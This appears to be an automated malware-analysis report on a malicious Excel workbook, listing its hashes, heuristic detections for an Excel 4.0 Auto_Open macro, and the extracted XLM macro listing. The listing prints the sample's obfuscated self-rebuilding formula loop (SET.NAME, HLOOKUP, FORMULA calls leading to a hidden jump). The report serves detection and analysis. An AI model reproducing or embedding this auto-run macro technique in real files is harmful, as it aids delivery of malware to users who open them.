Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e2a8c8e633ce101…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:37 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 161f5d103bade565a056984852d218fa SHA-1: ec24250f3a90766beed55b7d404b96e9219d8d7c SHA-256: 7e2a8c8e633ce101280586765b983ddc1726b56bb991106248460e387317b917
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6448 bytes
SHA-256: 0ac7808fda0eed9ae6d5f08160299e0039e342c2e146144efb30dc222cf8b717
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WGhpw
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D157 
' 0018     23 LABEL : Cell Value, String Constant - AZqJCgfR len=0 
' 0018     22 LABEL : Cell Value, String Constant - dotQWfK len=0 
' 0018     25 LABEL : Cell Value, String Constant - DWxOHWHihq len=0 
' 0018     20 LABEL : Cell Value, String Constant - FJdjv len=0 
' 0018     26 LABEL : Cell Value, String Constant - gkAlOizOhEc len=0 
' 0018     20 LABEL : Cell Value, String Constant - HNUrL len=0 
' 0018     21 LABEL : Cell Value, String Constant - LjEyJI len=0 
' 0018     27 LABEL : Cell Value, String Constant - mDmInAiGhZeo len=0 
' 0018     23 LABEL : Cell Value, String Constant - mipeTHcG len=0 
' 0018     27 LABEL : Cell Value, String Constant - MPwiuwydDRzH len=0 
' 0018     24 LABEL : Cell Value, String Constant - OhgygBLna len=0 
' 0018     21 LABEL : Cell Value, String Constant - sCpVJJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - tlzinFOYW len=0 
' 0018     24 LABEL : Cell Value, String Constant - uAuBsVWeR len=0 
' 0018     20 LABEL : Cell Value, String Constant - uCPfT len=0 
' 0018     20 LABEL : Cell Value, String Constant - wBJOs len=0 
' 0018     20 LABEL : Cell Value, String Constant - xTImz len=0 
' 0018     21 LABEL : Cell Value, String Constant - XWiLcO len=0 
' 0018     23 LABEL : Cell Value, String Constant - ytWdeMuM len=0 
' 0018     20 LABEL : Cell Value, String Constant - zagXH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WGhpw,D62,"SET.NAME("LjEyJI",VALUE("0"))",""
'  WGhpw,D65,"SET.NAME("MPwiuwydDRzH",LjEyJI)",""
'  WGhpw,D68,"SET.NAME("tlzinFOYW",LjEyJI)",""
'  WGhpw,D73,"SET.NAME("dotQWfK",COUNTA(uCPfT))",""
'  WGhpw,D78,"SET.NAME("HNUrL",COUNTA(uAuBsVWeR))",""
'  WGhpw,D83,[],""
'  WGhpw,D86,"SET.NAME("DWxOHWHihq","")",""
'  WGhpw,D91,"MPwiuwydDRzH",""
'  WGhpw,D96,"SET.NAME("sCpVJJ",HLOOKUP("*",uCPfT,MPwiuwydDRzH,FALSE))",""
'  WGhpw,D98,"FJdjv",""
'  WGhpw,D103,"SET.NAME("AZqJCgfR",LjEyJI)",""
'  WGhpw,D105,[],""
'  WGhpw,D109,"AZqJCgfR",""
'  WGhpw,D111,"mDmInAiGhZeo",""
'  WGhpw,D115,"gkAlOizOhEc",""
'  WGhpw,D120,"xTImz",""
'  WGhpw,D125,"SET.NAME("XWiLcO",VALUE(HLOOKUP("*",uAuBsVWeR,xTImz,FALSE)))",""
'  WGhpw,D127,"zagXH",""
'  WGhpw,D129,"DWxOHWHihq",""
'  WGhpw,D133,"tlzinFOYW",""
'  WGhpw,D135,NEXT(),""
'  WGhpw,D139,"mipeTHcG",""
'  WGhpw,D142,"SET.NAME("f",INT(T(FORMULA(T(DWxOHWHihq)&"",""&T(mipeTHcG)))))",""
'  WGhpw,D147,"ytWdeMuM",""
'  WGhpw,D150,NEXT(),""
'  WGhpw,D152,RETURN(),""
'  WGhpw,D187,"SET.NAME("wBJOs",D62)",""
'  WGhpw,D190,"uCPfT",""
'  WGhpw,D192,"SET.NAME("uAuBsVWeR",R61C13)",""
'  WGhpw,D197,"SET.NAME("ytWdeMuM",204)",""
'  WGhpw,D201,"SET.NAME("OhgygBLna",4)",""
'  WGhpw,D203,wBJOs(),""
'  WGhpw,D204,HALT(),""